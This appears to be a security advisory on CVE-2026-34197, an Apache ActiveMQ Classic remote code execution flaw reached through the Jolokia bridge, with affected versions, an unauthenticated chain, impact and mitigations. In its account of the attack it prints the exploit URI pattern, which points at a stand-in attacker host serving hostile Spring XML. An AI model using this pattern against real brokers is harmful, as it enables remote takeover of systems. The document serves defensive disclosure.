CISA added CVE-2026-34197, a remote code execution flaw in Apache ActiveMQ Classic, to the Known Exploited Vulnerabilities catalog on April 16, 2026, with federal civilian agencies required to patch by April 30. The bug has sat unnoticed in the broker for roughly 13 years and was publicly disclosed by the Apache ActiveMQ project on April 7 after being acknowledged on March 26. Rated 8.8 on the CVSS scale, it delivers code execution on the broker’s JVM through ActiveMQ’s built-in Jolokia JMX bridge — and on a specific range of 6.x releases, exploitation requires no authentication at all.

What happened

Apache ActiveMQ Classic exposes a Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations against every ActiveMQ MBean (org.apache.activemq:*), which turns out to include BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). Neither of those was meant to be reachable over the network, but the policy never explicitly forbade them.

The exploit abuses the VM transport’s brokerConfig parameter. By calling addNetworkConnector with a crafted discovery URI of the form vm://…?brokerConfig=xbean:http://attacker/evil.xml, the broker dutifully hands the attacker-controlled Spring XML to Spring’s ResourceXmlApplicationContext. Spring instantiates every singleton bean in that context before BrokerService ever validates the configuration, so any bean factory method — Runtime.exec(), ProcessBuilder, JNDI lookups — executes in the broker’s JVM. Game over.

The flaw was surfaced by a Horizon3.ai researcher who used Claude to reason over the ActiveMQ source tree; the model pointed at the Jolokia-to-VM-transport chain within minutes. The vulnerability itself has been present since the addNetworkConnector MBean operation was added in 2013.

Affected versions

  • Apache ActiveMQ Classic: all versions before 5.19.4
  • Apache ActiveMQ Classic 6.x: from 6.0.0 up to and including 6.2.2
  • Also applies to the activemq-all distribution in the same ranges.

The unauthenticated-RCE window

On most versions the Jolokia endpoint sits behind the web console’s Basic Auth, so CVE-2026-34197 is an authenticated RCE. That still matters — default admin:admin credentials remain common on internal deployments, and any authenticated user (including read-only accounts depending on realm configuration) can exploit it.

On ActiveMQ 6.0.0 through 6.1.1, however, CVE-2024-32114 inadvertently left the Jolokia API accessible without authentication. Chain the two together and CVE-2026-34197 becomes an unauthenticated RCE against any broker on that version range with the web console reachable. CVE-2024-32114 was patched in 6.1.2, so a broker that’s been sitting on 6.0.0/6.1.0/6.1.1 for two years is the worst-case target profile.

Impact

ActiveMQ is embedded in a lot of quiet places — JMS backbones for trading systems, SCADA middleware, CI/CD event buses, internal integration layers. A broker popped via this bug gives the attacker code execution as whatever user runs the JVM (frequently activemq or root on older RPM installs) with network reach into every service that publishes or consumes from it. Historically, ActiveMQ brokers have been favorite landing pads for cryptominers and as pivot points into internal networks; the 2023 CVE-2023-46604 campaigns deployed Kinsing, HelloKitty, and TellYouThePass across thousands of internet-exposed brokers, and we should assume similar opportunistic campaigns will spin up against 34197 now that it’s on the KEV list.

Mitigation

Do all of the following:

  1. Upgrade immediately to ActiveMQ Classic 5.19.4 or 6.2.3. The fix removes the ability for addNetworkConnector to instantiate vm:// transports at all.
  2. If you can’t patch today, lock down the Jolokia policy. Edit conf/jolokia-access.xml and explicitly deny exec on org.apache.activemq:type=Broker,operation=addNetworkConnector and addConnector, or drop the Jolokia servlet entirely by removing it from conf/jetty.xml.
  3. Do not expose the web console to the internet. Shodan still shows tens of thousands of ActiveMQ consoles reachable on 8161. Put it behind a VPN or bastion.
  4. Rotate default credentials. If your broker still has admin:admin or user:user from the shipped conf/jetty-realm.properties, that’s the single biggest lever on whether CVE-2026-34197 is a one-step or two-step attack against you.
  5. Hunt for post-exploitation. Look for unexpected NetworkConnector entries in activemq.log, outbound HTTP fetches from the broker JVM to unknown hosts, and child processes spawned by the activemq process (ps, auditd, EDR telemetry). Indicators from the 2023/2024 ActiveMQ campaigns — Kinsing and crypto-mining binaries in /tmp, reverse shells to ports 4444/8443 — remain relevant patterns to query for.

If you have a 6.0.0–6.1.1 broker anywhere, treat it as compromised until proven otherwise.

References